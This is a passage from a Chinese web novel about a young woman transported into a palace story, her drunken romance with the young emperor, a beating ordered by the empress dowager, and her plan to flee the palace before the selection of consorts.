其实她不是很喜欢给人过生日,很麻烦。但现在她坐在骆明烛面前,非但不觉得麻烦,还很乐意。 估计袁络仪不怎么给他过生日,不然骆明烛怎么会来找她。 云黛一边和他说话,一边被他劝着尝尽所有菜,酒壶里的酒她喝了大半,那果酿确实好喝,甜甜的,喝了还想再来一杯。 以至于云黛喝完杯子里的再去倒时,酒壶已经空了。 晃了晃空酒壶,云黛转头去看骆明烛,“没有了吗?” 她看的位置是骆明烛旁边的衣架,并非骆明烛本人。 她醉了。 骆明烛起身,接过她险些摔了的酒壶放回去,搀扶着摇摇晃晃的人坐下。 “黛姐姐还想喝吗?” 云黛扒拉着边上人的衣裳,重重点头,“喝!” 女子脸颊泛起红晕,眼神朦胧,转过身靠向他时,淡淡的果酿酒香扑鼻,诱人醉。 骆明烛没有伸手抱她,只由着她靠在自己身上,脑袋在自己身上乱蹭。他衣裳冰凉凉的,贴着很舒服。 “黛姐姐回答孤一个问题,孤就再拿一壶来给黛姐姐喝。” 云黛人已经晕乎了,没脑子仔细思考,一拍他后腰,说:“你问!” “黛姐姐希望孤有皇后吗?” 骆明烛垂眸,幽深的眸子将云黛此刻醉酒的模样刻在脑海里,眼睛一眨也不眨,直直望着她。 云黛只听到皇后,下意识就说:“你会娶苏棠,她会成为你的皇后。” 骆明烛再次听到这样笃定的话,很想知道她从何得来的这些谣言,竟然深信不疑。 “黛姐姐怎么会知道的?” 她轻哼一声,一把搂住骆明烛的腰,“我在书里看到的。” 听到这句话的系统:“完了完了,要完呀!” 骆明烛这才抬手,指腹擦去她唇间水渍,却没有移开手,依旧按着她唇角,稍稍俯身,眼眸含笑,问她:“黛姐姐看的什么书?竟然在孤身上编造谣言。” 云黛觉得自己好像被一只铁手捏住了脸,松开骆明烛,抬手去拍那只铁手,没拍得开。 耳边又传来声音问她:“黛姐姐从哪看来的?” 她想了想,有点记不清了,摇了摇头,说:“不记得了。” 骆明烛收回手,得到想到的答案,虽然信息给的不多,但足以他探明云黛这几日不开心的原因。 原来是以为他会娶苏棠吗? 弯起的眼眸笑意加深,他忽地双手掐住云黛的腰,将人往上一提,托着她的臀,令她分开双腿环住自己,紧紧抱着她。 “黛姐姐还记得方才孤许下的愿望吗?” 云黛喝醉了,但将自己承诺过的话记得一清二楚。 用力睁大眼,辨认出面前人的轮廓,一口吧唧上去,哼哼一声,说:“我记着呢,陪你过生辰。” 完全是遵从自身意愿做出的举动。 骆明烛呆愣片刻,下一瞬双臂收紧,推开桌上碗碟,将怀里的人放在桌上,双手撑在她身子两侧,目光炯炯。 “孤后悔了。” 云黛歪头,“嗯?” 骆明烛欺身而入,独属于他的气息霸道地将她笼罩,禁锢。 “孤想换个愿望。” “孤想要黛姐姐一直陪在孤身边。” 第46章 “你说什么?” 云黛人迷迷糊糊的,没听清骆明烛说的话,扒拉着他脸拉近,使劲瞪大眼,看到一团漆黑的东西,伸手就去扯。 骆明烛顺着她的力道歪头,由着她扯开自己的发冠,墨一般的长发倾洒下来,遮挡她的视线。 她像只猫儿一般挥动双手,把碍事的黑发拨开,睁大眼看到熟悉的人后,盯着他看了半晌,倏地咧开嘴笑了。 云黛用手指头戳他的脸,哼哼一声,骂他:“小骗子。” 语气却不会令人觉得难受,她像是在撒娇,还有几分幽怨,骆明烛眸色沉沉,握住她戳自己的手,问她:“孤哪里骗黛姐姐了?” “你就是个小骗子。”云黛使劲抽出手,力道没控制住,人险些倒在桌上。 骆明烛手疾眼快揽住她腰,将人带入自己怀里。 曾经引得自己遐想非非的脸猝不及防就在眼前,云黛心痒痒,手也痒痒,身子前倾,一把捧住他的脸,对着他的唇就亲了上去。 软软的,和梦里一样。 “嘿嘿……吃到了。” 云黛往后一仰身子,笑得高兴极了。 系统已经在她脑海里警报了好几次,一点用都没有,干脆摆烂,啥也不管了。 女子突然的碰触令骆明烛久久才回过神,再次垂眸看她时,眼里的欲色浓得快要溢出来。 收紧怀抱,几乎要将她嵌入自己身体里,出口的话沙哑,带着浓重的侵占欲。 “黛姐姐还想再试试吗?” “嗯?”云黛好像听到有人说要不要再试试,想起方才的甜,点了头,“想——” 几乎在她点头的瞬间,骆明烛已经吻上来。 一手撑着桌面,一手搂着她的腰不让她后退,就这么紧紧相贴,让身体的每一处都感受到她的存在。 自上次马车一吻过后,他从未有过一次如现在这般,想与她亲近。 香甜的果酿酒香混杂她身上的气息,令人沉醉,让他想将这个回回牵动思绪的人,拆吃入腹。 她以为她教给他的那些东西是男欢女爱,实际上根本不是。 她所教的,与现在比起来,差的不是一分半点。 “黛姐姐,这才是男欢女爱。” 分明她才是教他的人,他是学生,现在反倒颠倒了。 唇舌交缠,彼此不分,叫人面红耳赤的声音越来越响,云黛的呼吸越来越急,到最后忘了怎么呼吸,憋得脸通红,一个劲地拍打他胸膛。 感觉到她不适,骆明烛松开了些,没让她脱离自己怀抱,只是抵着她身子,控制自己呼吸节奏,但心跳的速度无法得到控制,扑通扑通,一声一声,砸在心口。 “你轻一点!”云黛浑身没力气,要不是被他搂着,人就要倒下。 埋在他胸膛里不住地呼吸,这才感觉好些。 但脑袋还是晕乎乎的,思绪迟钝,反应不过来自己方才做了什么。 “好。” 骆明烛嘴里说好,实际上抱得更紧。 他很喜欢这次的生辰礼,没有一次像现在这般开心。 “我有点不舒服。”云黛动了动身子,想离他远一些,但没力气挣开。 于是她又捏了他的脸,凑近他,凶巴巴道:“你松开我。”她动腿抵着他,想推开他,倏地被他一把摁住。 “别动!” 低沉 克制的声音吓了她一跳,酒似乎醒了,睁大眼一看到面前的人,叫出声:“骆明烛!” 骆明烛没有应她,额头青筋暴起,钳制她的手用力攥紧,手背上爬满青筋,看得有些吓人。 云黛也只是醒了一会,看清是他后,下意识放松,拍拍按住自己腿的手,叫他松开。 “黛姐姐若是不想出事,就不要动。” 云黛才没有被他唬住,继续动,她就是要动,潜意识要报复骆明烛,谁让他弄得她这几日心情都不好了。 然而她刚动,就被人按着后脑吻了上去。 这次没有刻意将动作放轻,凶狠得不像他,在她唇齿间攻城略地,处处扫荡。 云黛整个人晕乎乎的,被他吻得自己也有了奇怪的感觉,本来就没什么力气,这次彻底被他主导,被他引着回应他。 “唔……” 分开之时,暧昧的银痕闪过。 骆明烛拿了自己随身携带的帕子,擦干净她唇上可疑的水渍,不经意间瞥见她水光潋滟的眸子,喉头一紧,控制自己移开目光。 再看下去,他怕自己控制不住。 “黛姐姐好些了吗?” 云黛闭着眼,埋在他怀里,好似已经睡着了。 骆明烛唇角上扬,抱着她走到床榻那,将人放下,脱了鞋袜,盖上被褥,坐在她身侧。 “黛姐姐说话要算数,”他垂眸凝望她,眼里的占有快要将她包围,“要一直陪在孤身边。” 云黛醒来的时候,已经日上三竿,一睁眼,被日光刺得缓了好一会才睁开。 脑袋很晕,还一阵阵抽痛。 她摇摇晃晃去洗漱时,瞧见镜子里的自己像是被吸了精气一样,惨白惨白的。 “我昨晚干什么了?” 云黛眨了眨眼,想起来了。 “我给骆明烛过生日来着……”眼前闪现人影交织的画面,随后定格在骆明烛抱着自己回到床上,再往前,好像不记得了。 云黛拍拍脑袋,嘟囔一句:“我怎么老是酒后失忆,这以后还怎么能喝酒!” 系统在这个时候阴恻恻出声:“你昨晚又和骆明烛亲了。” 云黛:“?!” “不可能,绝对不可能!我怎么可能做这种事情!” 系统补充说:“是你先亲的,亲了好几下呢。” 系统捂嘴偷笑:“感觉怎么样,很爽吧。” 云黛:“谣言!污蔑!诽谤!” “啧啧,你去问骆明烛不就知道是不是了。” “……” 云黛捂脸痛哭,自己怎么就真的这么干了!喝酒误人!喝酒坏事! 再也不喝酒了! 系统本来想说后来骆明烛又亲了她两次,比她亲骆明烛的那两次还要凶,但见云黛的样子,没敢说。 它怕被打。 “以后我还怎么见他啊!” 系统觉得没什么,“你就正常见啊,之前你俩不也亲过,你不是照样见他?” 云黛反驳:“那不一样!” “怎么不一样了?” 云黛说不出来,反正就是不一样。本来心里就乱,现在更乱了。 幸好今日小福子没来叫她去乾坤宫,不然她又要绞尽脑汁找借口不去。 谁知袁络仪竟然找来了,一进永寿宫,一声冷呵让她跪下,王嬷嬷抱着板子在边上站着,面上讥笑。 “云尚仪这几日过得很是轻松啊,奴婢瞧着,该是忘了太后交给您的任务了?” 云黛惶恐,连忙找借口:“臣这几日在想新的传授方式,先前的法子似乎不大管用。” 袁络仪扫她一眼,冷哼一声。 云黛知道今日是跑不了了。 果不其然,袁络仪一句话就让她竖着进来,横着出去。 “云尚仪最近是太过劳累,忘了哀家的话。”她一挥手,边上的俩宫女掀起袖子往云黛走去。 “来人,帮云尚仪想想她都忘了什么。” 王嬷嬷举着板子,朝她狞笑:“云尚仪,奴婢这就来帮你记起来。” 云黛已经记起来了,她不想要人帮忙。 王嬷嬷打她的时候,她捏紧手,闭紧嘴,硬是一句求饶的话都没说。 知道袁络仪不会轻易放过她,派人杀她,她却安然回来,定会起疑。且她又未曾犯大错,将她处死没法服众,先打她十几板子出出气。 日后绝对还会找机会除了她。 云黛被抬出去前,袁络仪下了最后通牒,必须在选秀前教会骆明烛。 而选秀,就在八日后。 云黛是半晕半醒之间被抬回去的。 路上一睁眼,就是地面石子路,石子磨得光滑,还反光。她看着看着,笑了出来。 “系统,你说我要是这次不按袁络仪的做,她会不会直接刀了我?” 系统擦擦鼻子,声音哽咽:“会的,宿主,包会的。” 云黛没什么力气地骂它:“你也不说一点好话,哪有系统咒宿主死的。” “哦。”系统瞬间不哭了,“你想听什么好听的话?” 云黛闭上眼,声音缥缈:“你说,我能发财,当上CEO,站在世界之巅。” 系统沉默了,不可能实现的事,它说不了谎。 绿翘傍晚回来换了身衣裳,本要去厨房做事,见着云黛门还开着,不由得进去看一眼,走进去,一眼看到趴在床上不省人事的云黛。 一见她背上的血,吓得手都在抖。 帮她一点点剪开背上衣裳,还没看到背上的伤,就哭了出来。 “尚仪大人,你不会要死了吧……” 云黛听不见,她已经昏迷了。 又没有人帮忙,绿翘只能一个人帮她处理伤口,端来温水喂她喝,怕她夜里发热,一直守着她。 绿翘看着床上脸色苍白的人,无声地掉眼泪。 这都是什么事啊,好端端的人,被打成这样。 昨日她们还在说说笑笑,今日尚仪大人就被太后罚了,还罚得这般重,尚仪大人究竟是做错了什么事,太后竟然忍心重罚? 云黛昏迷,回答不了她的问题。 厨房来人喊她去做事了,绿翘担忧云黛,却又不得不去做事。 “奴婢做完手头里的事,便来看您。” 绿翘一走,房间里冷清起来,一丝声音也无。 先前云黛醒来过,但意识无法支撑,又晕了。晕过去前,还能听到系统在哭。 脑子里闪过一个奇怪的念头,系统不是一串代码吗,怎么会哭呢。 夜幕降临,绿翘被叫去守夜,没法回来,本想向主事的请求回来一趟,被拒绝了。她要是偷摸回来被发现,定然要被罚,届时不仅照顾不了云黛,自己还要受伤,只得熬到天亮。 夜深之时,门外轻微一声响,有人走了进来。 暗卫在门外守着,有人靠近就打晕。 骆明烛走到云黛身侧,借着月色瞧见她背上纱布,绿翘匆匆帮云黛处理了一下伤口,未能处理好,血渗了出来,还好不多。 他平静地拆开纱布,熟练地处理伤口,看到她背上狰狞印子时,险些捏碎手里的瓷瓶。 袁络仪确实容不下她了,未能除了她,便用这种折磨人的法子。 将瓷瓶里的药末细致地上在她伤口上,将纱布一圈圈缠绕好,手掌碰到她肌肤时,面上无一丝波动。 他只专注认真地帮她包扎伤口,漆黑的眼在深夜中无一丝光。 只有令人惊惧的杀意。 处理好伤口,他在她身侧屈膝蹲下,指尖挑着她鬓角发丝,微微笑了笑:“黛姐姐该是很疼吧。” 指尖下移,轻轻抚过她紧皱的眉头,想帮她抚平,但没有用。 “孤会帮黛姐姐报仇。” 骆明烛轻轻碰了一下她的脸颊,有些凉。 绿翘怕压着她背上的伤,走的时候只帮她盖了腿,时间一长,身上温度降低,容易感冒。 骆明烛将被褥支起来,调整她双臂姿势,盖住身子。 “明日孤再来看黛姐姐。” 他方要走,刚起身,听到微弱的声音,在喊他名字。 “骆……明烛?” 骆明烛身子一僵,缓缓低头,对上云黛半睁半闭的眼。 云黛看到那道黑影点 了头后,心底的委屈再也忍不住,倾泻而出。 “她打我!” 伤得太重,没力气说话,而且一说话,后背一抽一抽地疼,总感觉那板子压在背上,叫她喘不过气。 “她打了我十八板子!” 她像个孩童,向他哭诉,告状,将心里的委屈一股脑倒出来。 她实在是太累了,脑子昏沉沉的,不知道是因为昨晚的酒劲还没过,还是被打的,哭诉的时候也累得不想动。 “孤知道。” 骆明烛俯下身,屈膝半跪,紧紧注视着她。 听到这三个字,云黛更委屈了。 “你知道你都不保护我,从小到大,没人这么打过我,我妈都没有,班主任最多拿树枝打一下……” 她好似有点神志不清,见到骆明烛就哭诉,说着他依稀能听懂的话。 骆明烛听着她说,看她的眸色复杂起来。 果然,她不是原本的“云黛”。 这次伤得重,她休息的不好,才会将这些话说出来,否则她清醒时,断然不会告诉他。 说着说着,云黛声音低了下去,呼吸渐渐平稳。 骆明烛收回轻拍她手臂的手,凝视她的睡颜良久,抬手一点点擦干净她脸上的泪。 “好梦,黛姐姐。” 云黛醒来时,一动胳膊,背后抽痛,瞬间趴了回去。 记忆复苏,想到昨日袁络仪打了自己,气得骂了她十八代,顺便把骆明烛也骂了一遍。 等她尝试起身时,门开了,绿翘跑着进来,声音惊喜:“尚仪大人,你醒啦!” 云黛刚要问她自己自己身上的伤是谁处理的,就听绿翘说:“陛下刚来,你就醒了,好巧!” “他在哪?” 绿翘往外头一指,小声说:“就在院子里,奴婢这就请陛下进来。” 不用她请,骆明烛已经进来了。 云黛下意识扭开头,心虚不敢看他。 一方面是因为那晚不小心亲嘴,是的,云黛觉得那是不小心的。 另一方面是袁络仪这次罚自己,就是因为她没有按袁络仪说的去做,这要是被骆明烛知道,他又要说自己骗他。 绿翘贴心地把门关上,房间内只有他们俩人。 骆明烛缓缓走近,在她身上看到了对自己的抗拒。 眉头一挑,不明所以。 “黛姐姐身上还疼吗?” 骆明烛声音一起,云黛就想哭。 很想把袁络仪今日威胁自己的话告诉他,但一想到自己最初接近他的目的,又想到他说的在意自己,突然不敢说。 云黛忍着眼泪,说:“这点小伤,我不疼。” 似乎有人笑了出来,她没好气地哼了一声,也不知道哪里碰到伤了,疼得倒吸一口气。 骆明烛知道她不是逞强,是自尊心驱使她不说出来。 且他们之间那层薄膜还未打破,她该是没有完全信任自己。 所以他要解决袁络仪,不仅仅是为了自己,还有云黛。 第47章 也不知昨晚是谁拉着他哭诉,说疼,醒了便嘴硬说不疼。 骆明烛眸中狠意一闪而过,再抬眸望去时,只余下心疼。 “黛姐姐真不疼么?” 云黛没忍住嚎了出来:“疼啊,当然疼啊,你试试被打十几板子看看疼不疼。” 说话用力过猛,牵动背后伤,更是疼了。 “黛姐姐有什么想吃的么?” 云黛想了想,把这辈子想吃的都说出来,但说的都是这里能做的东西,天知道她多久没喝奶茶了,真的好想念! 骆明烛说了好,扫过她背上纱布,没有血渗出来,应该是结痂了。 “对了,你总来我这,太后知道吗?” “知道吧。”他面无波动,抬手去掀她背上纱布。 云黛好奇问:“她知道你来,不会说什么吗?” 修长的手指揭开纱布一角,“说什么?” “说你不好好学习,整天来我这鬼混,说我把你带坏了。”云黛说着,自己都笑了起来,却听身后人说:“她没有闲心管这些。” 云黛哦了一声,前日是他生辰,怎的袁络仪没有给他准备生辰宴,也没见宫里有人说起? 袁络仪连自己儿子的生辰都忘了? 回头刚想问他,就见骆明烛伸手在扯自己背上纱布,惊呆了。 “你在干什么?” 骆明烛专注看她背上的伤,没有察觉到她震惊的语气,回她:“纱布嵌进你的伤口里,需要拿出来。” 云黛哦了一声,扭回头,旋即猛地回神。那也不是他来做吧!他不懂男女授受不亲吗? “你叫绿翘来就行了,不用你不用你,嘶——”后背皮被扒了一样疼得她倒吸一口气,“你轻一点!” 骆明烛已经将粘着的纱布扯开,本想自己帮她换药,想到什么,改了主意。 “黛姐姐等一会,孤去叫人帮你换药。” 云黛还在痛,艰难地说了好,见他要走,忙不迭加一句:“我还未吃饭!” 少年天子转身回眸,笑着说了好。 初晨的日光洒在他身上,仿佛给他镀上一层金芒,云黛不由得看花了眼,莫名想到系统说自己又和他亲了嘴,猛地哎呦一声。 “美色误人,美色误人啊!” 骆明烛的身影一消失,云黛情绪低落下来。 “系统,你说我要是真按袁络仪要求的那么做了,骆明烛会不会又要哭?” 系统冒泡:“应该会的。” 云黛一阵头疼,不那么做,死的就是她,真要做了,还是会死,骆明烛还会生气,真难办。 还有几天就要选秀,大臣没有拉拢到,想让骆明烛扳倒袁络仪都不行。 艰难摸了摸背后,纱布还缠着,自己又看不到后背的伤,也不知道什么时候能好。 她这个样子,怎么和骆明烛做那种事情。 “算了,不管了,这事我不干了!我要辞职!不对,我要炒袁络仪鱿鱼!” 系统问她:“你不想活了?” 云黛忽地就想起自己刚穿来时,日日喊着不怕死,现在系统这么一问,又舍不得死了。 想和骆明烛再相处几天,还想和绿翘说说话,宫外还有好多地方没去过,这么年轻就嘎了,好可惜。 但不愿做违背良心的事,即使她对骆明烛真的有那么一点说不清道不明的想法。 “我不干了,就这么决定了。”云黛想了想,说:“等我背上伤好了,我就跑路。” 系统疑惑:“你是怕袁络仪会杀你?” 云黛点了头,不仅仅是因为这个,她不想看到骆明烛纳妃,就算不是他自愿的,她也不想看。 之前还能没心没肺看热闹,现在陷进去,就很难做到不在意。 视线有点模糊,她使劲眨了一下眼,豆大的泪珠砸在地面,“反正他应该不会——” 声音戛然而止,骆明烛回来了,后面还跟着绿翘。 她赶紧偏头,不让他们看到自己狼狈的样子。 骆明烛方一走近就瞧见床边地面湿痕,眼眸一抬,女子很反常地背对自己,方才离开时,她心情还不似现在这般沉重。 沉默片刻,他开口道:“她会帮你换药,孤有事要处理,先回去了。” 闷闷一声嗯,却也不回头看他。 有外人在,无法过于亲密,骆明烛看了会,转身离开。 绿翘等他走了才走到云黛身边,好奇问:“尚仪大人就这么让陛下走了?” 云黛哼了一声,没说话。 “奴婢帮大人换药吧。”绿翘守夜回来后本是打算直接来看云黛的,却被一侍卫拦住,不让她靠近,思来想去被拦住只有一个可能,应该是陛下来了。 果然如她猜想的那般,安了心,回去小眯了一会。 再一次看到云黛背后伤痕,心还是忍不住抽跳,这得多疼啊。 她已经尽量放轻动作,看到云黛因疼痛而身子,眼眶湿润。 一声不吭地上完药,再包扎好,绿翘端来粥,唤云黛:“大人,奴婢喂你?” 云黛缓了会,说自己来,“我还没残呢,吃饭还是能自己来的。” 身子往外探,看到碗里有瘦肉,两行清泪流淌下来:“呜呜呜,你真好,还加了肉。” 绿翘忽然觉得云黛这副惨兮兮说有肉的模样很像孩子,更心疼她了,但这不是她想到要加的。 “陛下特地嘱咐了奴婢添的,大人快些吃吧。” 云黛哦了一声,嘟囔一句:“我还以为他问我想吃什么,就能立刻给我变出来,合着没有啊。” 不过有肉也不错了。 吃完后云黛又趴了会,昨日被带回来后就睡着了,睡的时间太长,现在精神得很,很想干点什么,但是身体不允许。 绿翘还想守着她,看到他绿翘那么大黑眼圈,她直接把人赶走。 “你快去睡觉吧,你看你,眼睛都睁不开了。” 绿翘离开后,云黛就只能和系统说话了。 “哎,你说袁络仪究竟想干嘛呢,真搞不明白,为什么执着要教自己孩子这种事。” 系统也不知道,“如果是按小说设定,这就是单纯的想搞颜色。” “可现在我接触到的不是纸片人,他们有自己的思想。” 云黛搞不清为什么,除非她去袁络仪面前问为什么要这么做,只怕是刚问出来,就被袁络仪刀了。 人一旦闲下来,就会觉得无聊,之前还能到处晃晃,现在么,什么都做不了。 “烦!” …… 永寿宫内,王嬷嬷与一众宫女守在外头,寝殿门开着,偶有窸窸窣窣声音传出,但听得不大清楚,王嬷嬷她们听见,只当是外头风带起来的声音。 雍容华贵的女子坐在黑袍锦衣男子腿上,纤细指尖划过他面颊,神情是从未给旁人看过的娇俏。 她这般年岁,脸上露出这样的表情,竟然不见丝毫违和。 “那孩子在我掌控之中,不会出事。” 纤细腰肢一动,她更加贴近男人,拉着他的手放在自己腰间,“你我好些日子未见,不想我吗?” 男人收紧手,掐着她的腰按向自己,挑起她下颔,勾唇一笑。 “仪儿想本王吗?” 袁络仪送上红唇,用动作回答他自己答案。 允王没有拒绝,眼中却无一丝情意。 虽然袁络仪叫他放心,但最近诸事不顺,好几处在京城藏兵之地被寻到,且不知是如何暴露的。 他知骆明烛被困宫中,不该是他做的,但不可不防。 回应美人的吻时,他还有空想计谋。为防止有变,计划须得提前。 第二日下起了雨,屋子里潮潮的,云黛背后痒得慌,想挠,一挠就疼,不挠就痒很是折磨。 她问了绿翘,还要再抹两日药。已经能下地走路,没几日便能好全。 离选秀的日期越近,越烦躁,心情与这雨天一般的阴沉,都不爱说话了。 系统偶尔找话题与她说,说十句才搭理两句,系统没辙,真想自己有两条腿,去把骆明烛叫来。 骆明烛已经两日未来了。 云黛吃完饭,在屋里走了一圈,搬来凳子坐在门口,愣神望着外头的雨。 雨水打在屋檐上,啪嗒作响。 她拿着在院子里捡来的树枝跟着敲击地面,托着下巴盯着院子门口看。 “两天了,这人怎么还不来。” 也不知道是不是她念叨起效果了,真听到脚步声,当即睁大眼满是期待,却看到淋着雨跑回来的绿翘。 有些失望。 绿翘回了自己屋,过了会,走出屋子,沿着檐下那块小路走来,见云黛待在房门口,好奇问:“尚仪大人怎么不躺着?” 云黛百般无聊,正好和绿翘说说话。 “屋子里闷,坐在门口透透气。”说着,她问:“你怎的这个时候回来,不是要忙一整日吗?” 绿翘小心翼翼说:“太后方才下了懿旨,叫人去御膳房帮忙,只留下我看着厨房,离晚膳还有一会,我便回来歇歇。” 其实她不是想回来歇息,是想把太后已经开始准备宴席的事告诉云黛。 她小声说:“再有三日,宫里就要举办选秀,届时世家贵女都要入宫,陛下……” 剩下的不用说,云黛知道。 她哦了一声,难怪骆明烛这几日没来,是忙着选秀啊。 外头的雨下得更急了。 她想了想,什么都没想出来。 是时候走了。 绿翘只待了一会,走之前想把自己那个荒谬的想法说给云黛听,但知道自己说出来,云黛绝对不会采纳,便没敢说。 她一走,院子里又安静下来,云黛整个人恍恍惚惚,连雨声都听不大清楚。 “系统。” “我在。” 系统回应后,是良久的沉默,云黛并没有在说话,仿佛方才没有喊它那一下。 “宿主,你没事吧……” 云黛觉得自己很有事,有大事。 “系统,我们跑路吧。” 袁络仪现在都不叫人来催她了,但不可能会放过她,她做与不做那件事,袁络仪都会杀了她。 所以她现在要么是跑路的时候被暗杀,要么就是在宫里被刀。 不想看到骆明烛和别的女子亲近,所以她选择跑路。 “好的宿主,你做什么我都支持你。” 云黛还有心情打趣系统:“你只能跟着我跑,你当然支持我了。” 系统这次没反驳,诡异地沉默了会,忽然说:“那要是骆明烛不答应选秀,你还留下吗?” “有袁络仪在,他能不答应吗?” 系统心虚,“那倒也是哈……” 云黛没理系统,坐了一下午,依旧没有见着那人来。 “小骗子。” 把板凳搬回去,自己换了药,洗漱过后就躺下休息。其实她也没什么要收拾的,带上自己就能走,但她迟迟没有动。 翌日天明,雨停,地上水渍逐渐蒸发,起来后频频望向门口,次次都望了个空。 云黛终于下定决心,不再停留,换好药与纱布,戴上发钗,拿了令牌出宫,却被侍卫拦下,不让她出去。 要想今日出宫,就必须得到袁络仪的许可。 云黛不是很想去求人,但现在要走,最快就是去求袁络仪,骗她说自己要出去采买些教学的东西,应该会同意吧…… 她转身就去永寿宫,奇怪的是王嬷嬷不在,也不见有宫女守着,还以为永寿宫没人,她径直进去,还未走到寝殿门口,忽地左前方咔嚓一声响,抬头一看,只瞧见隐隐晃荡的窗户。 嗯?什么声音? 云黛方要走近去看,身后冷不丁响起呵斥,吓了她一跳。 “未经传召,擅闯太后寝殿,云尚仪,你可知自己犯了多大的罪?” 来人是王嬷嬷。 云黛心道这不是还没进去吗? 她走上前,还没说话呢,王嬷嬷就嘲讽她:“云尚仪这是好了?都能走路,想来是好全了,奴婢施些板子,云尚仪也能受得住。” 云黛不接她的话,说明自己来意,却被告知袁络仪不在。 真的不在啊。 “那臣不打搅了,王嬷嬷您忙。” 本以为王嬷嬷还要再说几句,结果直接让她走了。 云黛出宫不成,只好回去。 系统问她:“那你还打算出宫吗?” “嗯,明天再试试吧。” 云黛一走,王嬷嬷守在门口,不让别人进来,方才她只是回去收拾东西,竟然没瞧见云黛来。整个皇宫,谁敢不经 召擅闯永寿宫,真是松懈了。 寝殿内弥漫熏香,帷幔掀开,衣衫半露的女子张望一眼,将目光投向床内的男人,低声说:“人已经走了。” 允王直接越过她下床,套上外袍,整理发冠。 袁络仪一双美眸痴痴望着他,出口的话与她的眼神完全不匹配,“她方才应当没有瞧见你。” 男人理好衣裳,转过身面向她时,微微一笑:“仪儿不觉得你我这般总是偷偷摸摸地来,很不方便么?” 袁络仪听出他话里暗示的意思,稍稍理了衣裳,抬眸望他时,眸中闪过杀意。 “只要我们计划成功,很快便可正大光明地出现在世人眼中,无人敢阻拦。” 在此之前,她要除了险些撞破自己的云黛。 任何有可能暴露她与骆翼鸿奸情的人,都得把嘴闭严实了。 …… 第二日云黛又去宫门那,然而宫门守卫换了个,还是不让她出宫,当是袁络仪下了令,不让她出去。 云黛哦豁一声,既然不让她从正门走,那她就走后门。 她问了绿翘有没有别的路子可以出宫,绿翘悄咪咪告诉她有个狗洞,天黑时带她去瞧,那狗洞被一口缸遮着,先前是个太监为了与宫外的相好见面挖出来的。 她试了一下,能钻的进去。 云黛本来想趁现在就走的,忽地想再见骆明烛一面。 小骗子这么多天不来,也不和她说说那晚亲嘴的事,真没良心。 回去后本打算第二日去见见骆明烛就走,但怕明日会出意外,干脆今晚去看他,这样一来就不会一直想着这事。 云黛说去就去,走到乾坤宫门前,顿时清醒。她这是要干嘛,大晚上的跑来骆明烛这,是不是毛病。 她掉头就走。 “尚仪大人?” 小福子的声音传来,云黛脚步一顿,只得转身。 “真的是你,这么晚了,尚仪大人是来见陛下的吗?”小福子正纳闷陛下怎么突然叫自己出来,一瞧见云黛,立刻想明白。 定是这二人心有灵犀,陛下感觉到云黛来,叫他去看的。 “我其实……” 云黛本来想找个借口回去,不等她说出口,小福子就来拉她进去。 “陛下也想尚仪大人许久了,正巧你来,去见见陛下吧。”小福子可高兴了,这几日陛下不知怎的也不找云黛来,自己闷在寝殿里,久久才见着他出来。 出来也只是望着天不说话,他可担心了。 本想自作主张去请云黛来,被陛下看出来,勒令他不准去。 小福子只好按照骆明烛要求的做。 现下遇到云黛,喜上眉梢,怎么会让她走。 当云黛被推进寝殿,一眼看到矮几后点着烛火阅览书册的人,这些日子堆积的郁气不受控制地爆发出来。 她“噔噔噔”走到骆明烛面前,哼了一声,问他:“这几日很忙?” 骆明烛抬头,定定望着她,没有回答。 望着她的眼眸爆发出绚烂烟花,目光灼灼,看得她忽然不自在,不敢与他对视。 那样的眼神,像是在看多日未见的恋人,满满都是欢喜。 “我……”云黛想跑路的念头在见到骆明烛后弱了很多,但理智告诉自己,不能留恋。 “黛姐姐要说什么?” 云黛偏开头,说:“我就是来看看你。我养伤这么久,你都不来看我,还得要我自己来。” 骆明烛唇角勾起笑,低声回她:“孤在忙。”这几日忙着部署兵马,苏丞相在朝中帮他,朝堂上的棋已经摆好,只差他动手,将暗中针对自己的人将军。 怕她会被牵连进来,是以这几日才没有见她。保护她的暗卫已经除了两波杀她的刺客,他若是不能一击必胜,她会陷入险境。 “黛姐姐——” “我就是来看看你,过几日选秀,如果有看对眼的姑娘,就娶了吧。” 云黛酸唧唧说了句,背对他,天知道说这句话时,她有多难受。 “选秀那日我就不去了,人太多的地方我去了不适应。”她说着,忽地没有勇气再待下去,留下一句话就走。 “以后不用我教你了。” 她的身影冲出寝殿,骆明烛没有追上去,在她离开的瞬间,原本因她到来而隐没身形的暗卫们再次出现。 后日便要动手,现下他要将一切布置好,脱不开身去追。 按着先前思绪嘱咐下去,骆明烛收拾城防图时,脑中倏地回荡云黛离开的那句话。 “以后不用我教你了。” 他猛地抬头,望向窗外。 不,不对劲。 第48章 从乾坤宫离开,云黛一会想今晚就走,一会改变主意,想明晚走,脑子里打了一会架,决定明晚走。 今晚的皇宫出奇地冷清,云黛走着走着,想到自己明天就要跑路,莫名觉得背后发寒。 不会被发现吧,不会出现意外吧?他们都忙着选秀的事,应该没人会想到她要跑吧? 袁络仪都好久没理她了,这要是出意外,那就是她倒霉。 “宿主,你真的要走吗?” 云黛嗯了一声,不走还留在这干嘛,看着骆明烛跟别人欢好啊,她没事给自己找罪受才留下来。 但…… 脚步停下,回首望乾坤宫方向,想起初见他时,他带给自己的惊艳,怕是以后,再也不会见到像他这般能让她一眼惊艳的人了。 云黛回头,继续走。 “其实我觉得你可以和骆明烛说说,说不定他有办法拒绝呢……” 云黛不抱希望,“其实他按原书剧情走,虽然最终结局会死,但也是很久以后的事情了。要是按我的方法,拉拢大臣扳倒袁络仪,难度系数高,还容易被发现,袁络仪要是知道,不可能会放过我们。” 所以还不如让骆明烛再活几年。 至于她,能偷来这么多时光,已经很幸运了。 “希望下辈子,我能投个好胎,当小猫小狗,就算流浪,也比当牛马好。” 云黛回去后本想收拾东西,可左看右看,除了自己这个人,其余都是原身的,没什么好收拾的。 晚上失眠,怎么都睡不着,翻来覆去滚来滚去,两眼一睁,一点困意都没有,干脆找系统唠嗑。 “你说我要是还没出去,就被发现了,袁络仪是不是立刻会杀了我?” 系统:“会的。” “那我要是出了宫,半路上被发现,还有机会跑吗?” 系统觉得她是不是有点紧张过度了。 “我觉得没有了。” “那要是——” 系统不由得问她:“你其实不想走吧?” 云黛不知道要怎么回答它,没有再说话,望着外头漆黑的夜空失神。今晚没有星星,看不见月亮,冷清得让她忽然有种孤寂感。 就好像世界上只有自己一个人,找不到同类。 “他会想我吗……” 快天亮的时候,云黛刚眯着,就被绿翘叫醒,说是尚仪局要她去一趟,登记一些东西。 